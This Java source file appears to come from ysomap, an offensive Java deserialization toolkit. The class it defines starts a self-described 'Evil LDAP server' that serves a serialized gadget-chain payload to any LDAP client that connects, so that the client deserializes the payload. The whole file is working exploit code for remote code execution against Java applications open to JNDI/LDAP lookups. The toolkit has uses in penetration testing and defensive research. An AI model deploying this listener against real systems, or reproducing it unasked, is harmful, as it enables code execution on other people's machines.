package ysomap.exploits.ldap;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.core.serializer.Serializer;
import ysomap.core.serializer.SerializerFactory;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.ldap.component.LocalChainOperationInterceptor;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

/**
 * @author wh1t3P1g
 * @since 2020/2/29
 */
@SuppressWarnings({"rawtypes"})
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {"all gadgets"}, param = false)
@Details("Start up a Evil LDAP server with some payloads.\n" +
        "\n" +
        "建立一个LDAP服务，攻击外来连接的LDAP客户端，使得客户端对当前设置的payload进行反序列化。\n" +
        "当前服务需要设定一个payload，确保客户端存在payload所需的依赖。")
public class LDAPLocalChainListener extends AbstractExploit {

    @NotNull
    @Require(name = "lport", type = "int", detail = "LDAP Server listening port")
    public String lport = "1389";

    @NotNull
    private Object payload = null;
    private String payloadName;

    private InMemoryDirectoryServer ds;

    @Override
    public void work() {
        needRunning = true;
        InMemoryDirectoryServerConfig config = null;
        try {
            config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    Integer.parseInt(lport),
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            Serializer serializer = SerializerFactory.createSerializer("default");
            byte[] bytes = (byte[]) serializer.serialize(payload);

            config.addInMemoryOperationInterceptor(new LocalChainOperationInterceptor(bytes));
            ds = new InMemoryDirectoryServer(config);
            Logger.success("LDAPLocalChainListener listening on 0.0.0.0:" + lport); //$NON-NLS-1$
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        ds.closeAllConnections(false);
        ds.close();
        status = Status.STOPPED;
        Logger.success("LDAPLocalChain Listener stopped");
    }

    @Override
    public String toString() {
        return "LDAPLocalChainListener{" +
                "lport='" + lport + '\'' +
                ", payloadName='" + payloadName + '\'' +
                '}';
    }
}
